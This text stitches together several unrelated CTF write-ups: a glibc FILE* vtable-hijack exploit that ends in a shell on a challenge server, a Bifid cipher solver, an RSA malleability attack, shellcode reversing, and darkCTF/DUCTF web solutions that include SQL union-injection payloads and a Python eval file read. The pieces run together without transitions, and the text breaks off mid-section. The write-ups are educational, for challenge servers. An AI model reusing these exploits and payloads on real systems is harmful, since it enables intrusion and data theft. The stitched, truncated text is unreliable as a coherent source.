So, then what? Clearly there's nothing else useful here: the `note[]`s are too large to overflow, and the i/o `FILE*` pointers — how could they ever be useful?
## Madness in FILE*
By the process of elimination, the `FILE*` pointers are the only target left for exploitation.
We'll start with a top-down analysis. The `stdin`, `stdout`, `stderr` variables on the `.bss` segment are *pointers* to `FILE` structs stored inside `glibc`. The structure of a `FILE` struct can, once again, be found [here](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/), but the attention catching part is really the `_IO_FILE_plus` structure that `FILE` is made of:```ctypedef struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; // This is at <FILE_ptr+0xd8> for amd64} FILE; // Not exactly what happens, but approximately```Every `FILE` structure has a `vtable` variable. That `vtable` is a list of [function pointers](https://en.wikipedia.org/wiki/Function_pointer) to various I/O methods. So for instance, `puts()` will usually make a call to `stdout->vtable->_IO_XSPUTN`.
If you're new to this (like I was), all this blabering about `_IO_FILE` is more likely to confuse you than anything. We'll take a step back, and try out a bottom-up approach: *how can I use `FILE*` to write an exploit?*
[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fake-vtable-exploit/) provides a nice, alluring example of how the vtable can be replaced with a user-controlled forged vtable to execute arbitrary functions. This sounds great on paper: since `note[-6]` gives `stdout`, and `read(0xe8)` *rather convinently*<sup>4</sup> allows us to overwrite the entirety of `stdout`'s `FILE*` struct, we should be able to overwrite `stdout->vtable` with a pointer to our *first* input (`"I need your name: `) to *control RIP*, as the challenge description demands.
Two problems:1. Let's say we use the first input to *simultaneously* write a fake vtable<sup>5</sup>, while also leaking out the address of the stack. Even if we achieve that impossibility, where would you jump? Without a simultaneous PIE/libc leak, there's nothing good to switch RIP to.2. Arbitrary vtable pointers were [patched out](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51) in libc 2.24. This challenge uses libc 2.27, so this entire idea is a bust.
So, we can't overwrite the vtable with just anything. If I was doing this challenge in isolation, I would've definintely given up here.
Fortunately, searching online provided me with [another](https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/) path for exploitation. The site describes it better than I can, but in essence:1. `puts()` can be made to execute any function pointer within the `__libc_IO_vtables` section of libc2. The `_IO_str_overflow` inside of the aforementioned section will (at least, from libc 2.24-2.27) execute a function pointer from `FILE*`, which we are in control of3. That function pointer will be executed with an argument (rdi) we can control with `FILE*` as well — no need for `one_gadget`!
And unlike the `ctf-wiki` method, the exploit code provided by the site *actually worked*<sup>6</sup> on `butterfly`'s libc!
We finally have an exploit method that we can *try* to copy, and *maybe* get to work.
## Implementation bluesBefore we dig into the madness of `FILE*`, let's start from what we know.
We'll want to jump to `system` (or something for a shell) in libc, so our first step in the exploit is to leak libc. If you'll recall from two-or-three sections ago, the libc addressed can be leaked if we just write a full `0x50` bytes in the first input:```pythonfrom pwnscripts import *context.binary = 'distribute/challenge_bin/butterfly'context.libc_database = 'libc-database'context.libc = 'distribute/libc/libc.so.6'LIBC_OFF=0x50# The leaked string in gdb showed "__vdso_getcpu", so we'll just grep for that.vdso_magic = next(context.libc.search(b"__vdso_getcpu"))
p = remote('pwn.darkarmy.xyz', 32770)p.sendafter(': ', 'a'*LIBC_OFF)context.libc.address = extract_first_bytes(p.recvline()[LIBC_OFF:],6)-vdso_magiclog.info(hex(context.libc.address))```This works out well enough — the address has enough trailing zeros to *look* like a libc base, anyway:```python[x] Opening connection to pwn.darkarmy.xyz on port 32770[x] Opening connection to pwn.darkarmy.xyz on port 32770: Trying 34.77.202.24[+] Opening connection to pwn.darkarmy.xyz on port 32770: Done[*] 0x7ff2069f2000```After that, we need to copy whatever black magic we found from our online searching<sup>7</sup>. The [blog](https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/) starts off by locating `system` and `/bin/sh`, so we'll just repeat that:```pythonrip = context.libc.symbols['system']rdi = context.libc.symbols['str_bin_sh']assert rdi % 2 == 0 # Necessary for exploit```Then, we need a fake vtable address that points to somewhere inside `__libc_IO_vtables`. ```pythonio_str_overflow_ptr_addr = context.libc.symbols['_IO_file_jumps'] + 0xd8# This next line is broken --- we'll come back to this later.fake_vtable_addr = io_str_overflow_ptr_addr - 2*8```After that, we'll want to create a full rendition of the fake `FILE*` structure to send to `read(0xe8)`. The blog defines a really long function to do it, but — as one might expect — there's a `pwntools` helper for that by now:```python_lock = context.libc.address + 0x3ecf00 # Magic number: aligned-pointer to an r/w buffer containing the value b'\0'*8fp = FileStructure(_lock) # This is `bin.symbols['fake_file'] + 0x80` on the blogfp._IO_buf_end = fp._IO_write_ptr = (rdi-100)//2fp._IO_write_base = 0fp.vtable = fake_vtable_addrpayload = bytes(fp)+pack(rip)```With the payload settled, we just have to write it to the `stdout` pointer, and hope everything works:```pythonp.sendlineafter(': ', '-6') # 0x202050-0x202020p.sendafter(': ', payload)```Considering this is the first time I've ever done a `FILE*` exploit, I really lucked out on how close my solution was to the right answer:```c[#0] Id 1, Name: "butterfly", stopped 0x7f2ee404c45f in __GI__IO_default_uflow (), reason: SIGSEGV────────────────────────────────────────── trace ─────────────────────────────────────────────────[#0] 0x7f2ee404c45f → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#1] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#2] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#3] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#4] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#5] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#6] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#7] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#8] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)[#9] 0x7f2ee404c462 → __GI__IO_default_uflow(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>)```An infinite loop? That can't be right.
Doing a little bit of backtracing, I realise where the error lies:```c[#0] 0x7f2ee404c69d → __GI__IO_default_xsgetn(fp=0x7f2ee43aa760 <_IO_2_1_stdout_>, data=<optimized out>, n=0x3)[#1] 0x7f2ee403eaff → _IO_puts(str=0x560377d75c68 "Bye")[#2] 0x560377d75b35 → mov edi, 0x1337[#3] 0x560377d75b6a → mov eax, 0x0````puts()` is calling `__IO_default_xsgetn` instead of `__IO_str_overflow`, which — if you remember from a long while back — is our key to executing `system("/bin/sh")`.
The instruction that calls `__IO_default_xsgetn` is none other than this:```python 0x7f48c65a3af5 <puts+197> mov rdx, rbx 0x7f48c65a3af8 <puts+200> mov rsi, r12 → 0x7f48c65a3afb <puts+203> call QWORD PTR [r13+0x38] 0x7f48c65a3aff <puts+207> cmp rbx, rax 0x7f48c65a3b02 <puts+210> jne 0x7f48c65a3ba1 <_IO_puts+369>````r13`, if you do the leg-work, is actually the `fake_vtable_addr` we provide in the exploit code:```python(gdb) telescope $r130x00007f48c690b368│+0x0000: 0x0000000000000000 ← $r130x00007f48c690b370│+0x0008: 0x00007f48c65b3370 → <_IO_str_finish+0> push rbx0x00007f48c690b378│+0x0010: 0x00007f48c65b2fd0 → <_IO_str_overflow+0> mov ecx, DWORD PTR [rdi] # Need to call this0x00007f48c690b380│+0x0018: 0x00007f48c65b2f70 → <_IO_str_underflow+0> mov rax, QWORD PTR [rdi+0x28]0x00007f48c690b388│+0x0020: 0x00007f48c65b1430 → <_IO_default_uflow+0> push rbp0x00007f48c690b390│+0x0028: 0x00007f48c65b3350 → <_IO_str_pbackfail+0> test BYTE PTR [rdi], 0x80x00007f48c690b398│+0x0030: 0x00007f48c65b1490 → <_IO_default_xsputn+0> test rdx, rdx0x00007f48c690b3a0│+0x0038: 0x00007f48c65b1640 → <_IO_default_xsgetn+0> push r15 # This is called instead0x00007f48c690b3a8│+0x0040: 0x00007f48c65b34a0 → <_IO_str_seekoff+0> push r140x00007f48c690b3b0│+0x0048: 0x00007f48c65b1a00 → <_IO_default_seekpos+0> push rbx```We need `_IO_str_overflow`, but we're getting `_IO_default_xsgetn` instead. The reason for this could not have been more obvious if I had read the blog clearly on the first pass:> Now, if I point the vtable to 0x10 bytes before it, fclose will call _IO_str_overflow **(again from gdb)**.The calculation of `fake_vtable_addr` in the blog is specific to `fwrite()`. To get `puts()` to call the right function, we'll increment the offset to the `fake_vtable` a little bit:```pythonio_str_overflow_ptr_addr = context.libc.symbols['_IO_file_jumps'] + 0xd8# Now this is correct!fake_vtable_addr = io_str_overflow_ptr_addr - 7*8```With that, we're done!
```python[+] Opening connection to pwn.darkarmy.xyz on port 32770: Done[*] 0x7f7c6ffcb000[*] Switching to interactive mode$ lsbutterflyflagrun.shynetd$ cat flagdarkCTF{https://www.youtube.com/watch?v=L2C8rVO2lAg}$```Full code, in case you're lazy to read:## Code```pythonfrom pwnscripts import *context.binary = 'distribute/challenge_bin/butterfly'context.libc_database = 'libc-database'context.libc = 'distribute/libc/libc.so.6'LIBC_OFF=0x50vdso_magic = next(context.libc.search(b"__vdso_getcpu"))
p = remote('pwn.darkarmy.xyz', 32770)p.sendafter(': ', 'a'*LIBC_OFF)context.libc.address = extract_first_bytes(p.recvline()[LIBC_OFF:],6)-vdso_magiclog.info(hex(context.libc.address))rip = context.libc.symbols['system']rdi = context.libc.symbols['str_bin_sh']assert rdi % 2 == 0 # Necessary for exploitio_str_overflow_ptr_addr = context.libc.symbols['_IO_file_jumps'] + 0xd8fake_vtable_addr = io_str_overflow_ptr_addr - 7*8_lock = context.libc.address + 0x3ecf00 # Magic number: aligned-pointer to an r/w buffer containing the value b'\0'*8fp = FileStructure(_lock) # This is `bin.symbols['fake_file'] + 0x80` on the blogfp._IO_buf_end = fp._IO_write_ptr = (rdi-100)//2fp._IO_write_base = 0fp.vtable = fake_vtable_addrpayload = bytes(fp)+pack(rip)p.sendlineafter(': ', '-6') # 0x202050-0x202020p.sendafter(': ', payload)p.interactive()```## Footnotes1. I say "might", because I never bothered to try. `note[]` lies on the end of the binary's PIE memory page. This means that (useful) addresses higher up than `note` are going to lie on a different memory page, making it impossible to index higher addresses without having *two* memory address leaks. 2. Basically, `apt install python3 gdb`, `RUN` the GEF installation script, and make sure to google for "How to run gdb inside of docker" to get past the ptrace error.3. A beginner might try poking around at the `malloc(0x200)` pointers to see if writing anything there can do something interesting. Considering that no heap functions are used after the immediate two `malloc()`s (`_exit()` in particular isn't even going to bother `free()`ing the used addresses), I ignored this possibility.4. The coincidence of `0xe8` being 8 bytes larger than `sizeof(FILE)` was what ultimately pushed me to dig so far into `FILE*` exploitation.5. This isn't necessarily the only option here. A small pipe dream I thought up of: leaving a fake vtable *in the same memory space* as the fake FILE struct.6. Their exploit code being [this](https://dhavalkapil.com/assets/files/FILE-Structure-Exploitation/exploit.py), their binary being [this](https://dhavalkapil.com/assets/files/FILE-Structure-Exploitation/exploit.py). When I say the exploit code "worked", I'm neglecting to mention the quick edits I needed to make to get the binary running on libc2.27.7. Try and Ctrl-F the linked blog for `pwntools` to follow along. |
```import java.util.*;import java.io.*;
public class Ramblings { // Find row and column of a character in keysquare public static int[] findrc(char[][] sub, char x) { for (int i = 0; i < 5; i++) for (int j = 0; j < 5; j++) if (sub[i][j] == x) { int[] nums = {i, j}; return nums; } return new int[0]; } // Bifid cipher decryption algorithm hardcoded with period=5 public static String decrypt(String cipher, String key) { char[][] sub = new char[5][5]; for (int i = 0; i < key.length(); i++) sub[i/5][i%5] = key.charAt(i); ArrayList<Integer> list = new ArrayList<>(); for (int i = 0; i < cipher.length(); i++) { int[] rc = findrc(sub, cipher.charAt(i)); list.add(rc[0]); list.add(rc[1]); } String build = ""; for (int start = 0; start < list.size(); start += 10) for (int i = 0; i < 5; i++) try { build += sub[list.get(start+i)][list.get(start+i+5)]; } catch (Exception e) {} return build; } public static void main(String[] args) throws IOException { Scanner scan = new Scanner(new File("ramblings")); ArrayList<String> keys = new ArrayList<>(); while (scan.hasNextLine()) { String line = scan.nextLine(); String copy = line; line = line.replace("." , ""); line = line.replace(" " , ""); line = line.replace("," , ""); line = line.replace("!" , ""); line = line.replace("?" , ""); line = line.replace("'" , ""); line = line.replace("-" , ""); line = line.replace("@" , ""); line = line.replace("\"" , ""); line = line.replace("+" , ""); line = line.replace(":" , ""); line = line.toLowerCase(); if (line.length() > 26) continue; line = line.replace("j" , ""); // System.out.println(line); keys.add(line); } String msg = "snbwmuotwodwvcywfgmruotoozaiwghlabvuzmfobhtywftopmtawyhifqgtsiowetrksrzgrztkfctxnrswnhxshylyehtatssukfvsnztyzlopsv";
System.out.println(msg + "\n"); for (int i = keys.size()-1; i >= 0; i--) msg = decrypt(msg, keys.get(i)); msg = msg.replace("x" , " "); // Minor trivial corrections char[] text = msg.toCharArray(); text[0] = 'j'; text[24] = 'x'; String solve = new String(text) + " way"; System.out.println(solve); scan.close(); }
}``` |
1. Extract the whole TCP stream into a file2. Use foremost to extract all the jpg files: ``foremost -i extracted_tcp``3. Take a look at the pictures and extract the flag
Note: You have the ``extracted_tcp`` file and the extractred pictures in this repo. |
# Alice and Bob```Alice and Bob are back to sending and receiving encrypted messages again, and this time you can be part of the conversation!
Download the file below and open the Deployment tab to start this challenge.```[server.py](server.py)
Also another RSA challenge
Basically it encrypt the flag and print the cipher text
Then **we can encrypt anything and decrypt anthing except the flag using the same key.**
## Server functionInitialize the flag:```pydef __init__(self): self.key = RSA.import_key(key.read()) key.close()
flag = open("./flag.txt").read() flag = binascii.hexlify(flag.encode('utf-8')) flag = int(b"0x%s" % flag, 16)
c = self.key._encrypt(flag) m = hashlib.sha256() m.update(str(c).encode('utf-8')) # Add the flag hash in a list self.seen_hashes = [m.hexdigest()] print("Ciphertext: %s" % c)```Decrypt function:```pydef recv_message(self, msg):
msg = str(int(msg))
m = hashlib.sha256() m.update(msg.encode('utf-8')) h = m.hexdigest()
# This prevent us to decrypt the flag # Cause seen hash will not decrypt if h in self.seen_hashes: return False
self.seen_hashes.append(h)
try: p = self.key._decrypt(int(msg)) except: print("Invalid Ciphertext") return False
print(p)```Send `KEY:` to get the public key, `RECV:ciphertext` to decrypt the ciphertext in decimal
## Testing```bashnc challenge.ctf.games 31029Ciphertext: 15592437133981202269541032392104721762567968507265215460175867831778169992646368424696645503734982677596741929877490054654167203224412984878712266545569342155920242854393833322733011652449223890263053082592294087059777899128495034685853287439234781815601027828156302742017459635040747490333544374247339285141179594716949221586568582938472273769350947255615298244506332907305700005190093026423084586436648812379129141204575031169905038734725428774583432304293222022104460037990307931298254216112416743024082551208047782671516076138749116226488336654826178134685013454904472248706485984406163875872484120012072302411517KEY:N:25731230666969714678742709822906857643182953294318637715279924877135973526525329394086786215919632231591232627827318259655595846938846578523320336897042185209221085492463582835874594388048142193443461443069777754165578705365515179654161434989884904694750406175168414907813720504165651049056839904539466298026072999963728843595610866147631362818671559173632008484641003104012485406896618153192212040445556962648070681677972635087537728956426202327950035197070607426092169365550385898554130903938977543053270297116818102810102826147882406131179979695011992859082480826759440109269421115917806600858227857451301402482393E:65537RECV:968569510676931384333901538504572145664332648238407516919758152616003215328906112035017249130962202508656084542514978387381264725297047231496017084273926299534080820079534628147849813390949708983681612433183999832737239820254931990531354673330210846554946550039118660178952448321417447822328356563158927316863292758442087954338850638582405897582282412924862249808048453435312912217666612355272968099153022301849378372669047654783437041050444505384637360123011532193613101381505186044827901486210907466511934530138169374548741693882840274851999800295987780554127372262540421031047753540346139847627306204349935418256234666278047469597460087108343549838333477620117323709369836665563112110659078659238022814353666381349180750670569972756426057466```## SolutionWe cannot decrypt the flag straight away, but we can decrypt something related to the flag!
According to the solution below:[Xmas CTF santa list solution](https://github.com/pberba/ctf-solutions/tree/master/20181223_xmasctf/crypto-328-santas_list_(2.0))
Wikipedia also mention that in example:https://en.wikipedia.org/wiki/Malleability_(cryptography)
Calculate something related to the flag:

Then we send to the server to decrypt it:

Lastly, we simply decide the received number by 2 to get the flag!
[python script](solve.py)
```pyn = 257312...e = 65537c1 = 15592...c2 = pow(2,e,n)p = remote("challenge.ctf.games", 31029)p.sendlineafter("\n","RECV:"+str(c1*c2 % n))flag = int(p.recvuntil("\n")[:-1])//2print long_to_bytes(flag)```Interesting RSA challenge!
## Flag```flag{schoolhouse_crypto_with_our_favorite_characters}``` |
## baby_mult [50]*Welcome to reversing! Prove your worth and get the flag from this neat little program!*
Files: `program.txt`
### program.txt?```sh$ cat program.txt85, 72, 137, 229, 72, 131, 236, 24, 72, 199, 69, 248, 79, 0, 0, 0, 72, 184, 21, 79, 231, 75, 1, 0, 0, 0, 72, 137, 69, 240, 72, 199, 69, 232, 4, 0, 0, 0, 72, 199, 69, 224, 3, 0, 0, 0, 72, 199, 69, 216, 19, 0, 0, 0, 72, 199, 69, 208, 21, 1, 0, 0, 72, 184, 97, 91, 100, 75, 207, 119, 0, 0, 72, 137, 69, 200, 72, 199, 69, 192, 2, 0, 0, 0, 72, 199, 69, 184, 17, 0, 0, 0, 72, 199, 69, 176, 193, 33, 0, 0, 72, 199, 69, 168, 233, 101, 34, 24, 72, 199, 69, 160, 51, 8, 0, 0, 72, 199, 69, 152, 171, 10, 0, 0, 72, 199, 69, 144, 173, 170, 141, 0, 72, 139, 69, 248, 72, 15, 175, 69, 240, 72, 137, 69, 136, 72, 139, 69, 232, 72, 15, 175, 69, 224, 72, 15, 175, 69, 216, 72, 15, 175, 69, 208, 72, 15, 175, 69, 200, 72, 137, 69, 128, 72, 139, 69, 192, 72, 15, 175, 69, 184, 72, 15, 175, 69, 176, 72, 15, 175, 69, 168, 72, 137, 133, 120, 255, 255, 255, 72, 139, 69, 160, 72, 15, 175, 69, 152, 72, 15, 175, 69, 144, 72, 137, 133, 112, 255, 255, 255, 184, 0, 0, 0, 0, 201```A single-line file, containing a list of numbers. Given that all the values are within `range(0,256)`, this is probably a list of bytes. Let's convert them to a byte file:```pythonwith open('shellcode','wb') as f, open('program.txt') as p: f.write(''.join(map(lambda s:chr(int(s)),p.read().split(', '))))```As you might be able to tell from the filename used, `program.txt` is actually just shellcode encoded as integers. We can run the shellcode with a C wrapper:```c#include <unistd.h>#include <sys/mman.h>#include <fcntl.h>int main(){ unsigned char *p = mmap(0,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANON,-1,0); memset(p, 0x3c, 4096); int f = open("shellcode", O_RDONLY); read(f,p,227); int (*ret)() = (int(*)()) (p+8); ret();}```Then we can open the resultant executable in `gdb`, and stop at the end of the shellcode to print the flag:```python 0x7ffff7ffb0d0 imul rax, QWORD PTR [rbp-0x70] 0x7ffff7ffb0d5 mov QWORD PTR [rbp-0x90], rax 0x7ffff7ffb0dc mov eax, 0x0 → 0x7ffff7ffb0e1 leave ...───────────────────────────────────────── threads ──────────────────────────────────────────[#0] Id 1, Name: "a.out", stopped 0x7ffff7ffb0e1 in ?? (), reason: SINGLE STEP────────────────────────────────────────── trace ───────────────────────────────────────────[#0] 0x7ffff7ffb0e1 → leave────────────────────────────────────────────────────────────────────────────────────────────gef➤ telescope $rbp-0x900x00007fffffffe380│+0x0000: 0x0000306772346d7d ("}m4rg0"?)0x00007fffffffe388│+0x0008: 0x00006c31645f7072 ("rp_d1l"?)0x00007fffffffe390│+0x0010: "4v_r3pus{galf"0x00007fffffffe398│+0x0018: 0x000000666c61677b ("{galf"?)```Simple.```bash$ (rev <<< 4v_r3pus{galf; rev <<< rp_d1l; rev <<< }m4rg0)|tr -d \\n```### Flag`flag{sup3r_v4l1d_pr0gr4m}` |
[https://github.com/dfoudeh/Selected-CTF-Writeups/tree/master/DarkCTF_20/Find_Me](https://github.com/dfoudeh/Selected-CTF-Writeups/tree/master/DarkCTF_20/Find_Me) |
##### Table of Contents- [Web](#web) - [Leggos](#leggos)- [Misc](#misc) - [Welcome!](#welcome) - [16 Home Runs](#16-home-runs) - [In a pickle](#in-a-pickle) - [Addition](#addition)- [Forensics](#forensics) - [On the spectrum](#on-the-spectrum)- [Crypto](#crypto) - [rot-i](#rot-i)- [Reversing](#reversing) - [Formatting](#formatting)
# Web## LeggosPoints: 100
#### Description>I <3 Pasta! I won't tell you what my special secret sauce is though!>>https://chal.duc.tf:30101
### SolutionWe are prompted with a page containing some text and an image. Trying to view the source HTML we notice that we can't do a Right Click.

No problem, we append in the URL `view-source:`, so it becomes `view-source:https://chal.duc.tf:30101/`. Inside the HTML we have a hint saying ``. We open the source code of an imported JS file and we get the flag.

Flag: DUCTF{n0_k37chup_ju57_54uc3_r4w_54uc3_9873984579843}
# Misc## WelcomePoints: 100
#### Description>Welcome to DUCTF!>>ssh [email protected] -p 30301>>Password: ductf>>Epilepsy warning
### SolutionWhen you connect to the machine a bounch of messages are displayed and you can not execute any command. I tried to `scp` the whole home directory, but the script that displayed the messages on ssh connection was throwing some error. Looking more closely, the flag is displayed among the other messages.

Flag: DUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}
## 16 Home RunsPoints: 100
#### Description>How does this string relate to baseball in anyway? What even is baseball? And how does this relate to Cyber Security? ¯(ツ)/¯>>`RFVDVEZ7MTZfaDBtM19ydW41X20zNG41X3J1bm4xbjZfcDQ1N182NF9iNDUzNX0=`
### SolutionI have no idea about baseball, but I know that the string looks like encoding and it's not base 16 (hex). Base64 deconding it gives us the flag.
Flag: DUCTF{16_h0m3_run5_m34n5_runn1n6_p457_64_b4535}
## In a picklePoints: 200
#### Description>We managed to intercept communication between und3rm4t3r and his hacker friends. However it is obfuscated using something. We just can't figure out what it is. Maybe you can help us find the flag?
### SolutionWe get a file with the next content:```text(dp0I1S'D'p1sI2S'UCTF'p2sI3S'{'p3sI4I112sI5I49sI6I99sI7I107sI8I108sI9I51sI10I95sI11I121sI12I48sI13I117sI14I82sI15I95sI16I109sI17I51sI18I53sI19I53sI20I52sI21I103sI22I51sI23S'}'p4sI24S"I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "p5s.```Looking at this and considering the challenge title is becomes clear that this is a pickled object. I used the next script to unpickle it and get the flag:```pythonimport pickle# open file for readfdata = open('data', 'rb')# deserialize dataunpickled = pickle.load(fdata, encoding="ASCII")# convert integers to characterschars = [chr(x) if str(x).isnumeric() else x for x in unpickled.values()]flag = ''.join(chars)print(flag)```

Flag: DUCTF{p1ckl3_y0uR_m3554g3}
## AdditionPoints: 425
#### Description>Joe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the "filters" he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag.>>https://chal.duc.tf:30302/
### SolutionWe are prompted with a page that seems to do calculations of whatever input we provide.

Let's try some other inputs to check what are our limitations. Entering `'A' * 10` we get `AAAAAAAAAA` so we are not limited to only numbers. I tried some more values and in the end I decided to try to obtain the source code. First step I entered `__file__` to get the file name: `./main.py `. Next, I read the file with `open(__file__, 'r').read()` and actually the source code contained the flag.

Flag: DUCTF{3v4L_1s_D4ng3r0u5}
# Forensics## On the spectrumPoints: 100
#### Description>My friend has been sending me lots of WAV files, I think he is trying to communicate with me, what is the message he sent?>>Author: scsc>>Attached files:>> message_1.wav (sha256: 069dacbd6d6d5ed9c0228a6f94bbbec4086bcf70a4eb7a150f3be0e09862b5ed)
### SolutionWe get a `.wav` file and, as the title suggest, we might find the flag in the spectogram. For viewing it I used [Sonic Visualizer](https://sonicvisualiser.org/). I played a little with the settings to view it better.

Flag: DUCTF{m4bye_n0t_s0_h1dd3n}
# Crypto## rot-iPoints: 100
#### DescriptionROT13 is boring!
Attached files:
challenge.txt (sha256: ab443133665f34333aa712ab881b6d99b4b01bdbc8bb77d06ba032f8b1b6d62d)
### SolutionWe recieve a file with the next content: `Ypw'zj zwufpp hwu txadjkcq dtbtyu kqkwxrbvu! Mbz cjzg kv IAJBO{ndldie_al_aqk_jjrnsxee}. Xzi utj gnn olkd qgq ftk ykaqe uei mbz ocrt qi ynlu, etrm mff'n wij bf wlny mjcj :).`We know it's a form of ROT, but which one? Well, it's an incrementing one, starting from ROT-0 actually. I extracted only the encoded flag and I used the next script for deconding it:
```pythonimport string
flag_enc = "IAJBO{ndldie_al_aqk_jjrnsxee}"flag_dec = []k = 0
def make_rot_n(n, s): lc = string.ascii_lowercase uc = string.ascii_uppercase trans = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return str.translate(s, trans)
for i in reversed(range(22 - len(flag_enc), 22)): flag_dec.append(make_rot_n(i, flag_enc[k])) k += 1
print(''.join(flag_dec))```
Flag: DUCTF{crypto_is_fun_kjqlptzy}
# Reversing## FormattingPoints: 100
#### Description>Its really easy, I promise>>Files: formatting
### SolutionThe file received is a 64 bits ELF binary.

Running `strings` on it gives us some clues, but not the entire flag. I opened the bynary in [Radare2](https://github.com/radareorg/radare2) to better analyze it. I guess you can get the flag in simpler ways, but I'm trying to get better with this tool.
I opened it with `r2 -d formatting`, analyzed it with `aaa` and looked over the assembly.

I saw multiple times characters are inserted in `var_90h` so I assumed that's the flag. I set a breakpoint on `lea rax, [var_90h]` and one one `mov byte [rbp + rax - 0x90], dl`. After the first breakpoint the `var_90h` contained only `DUCTF{`.

However, after the second breakpoint we get the flag.

Flag: DUCTF{d1d_You_Just_ltrace_296faa2990acbc36} |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
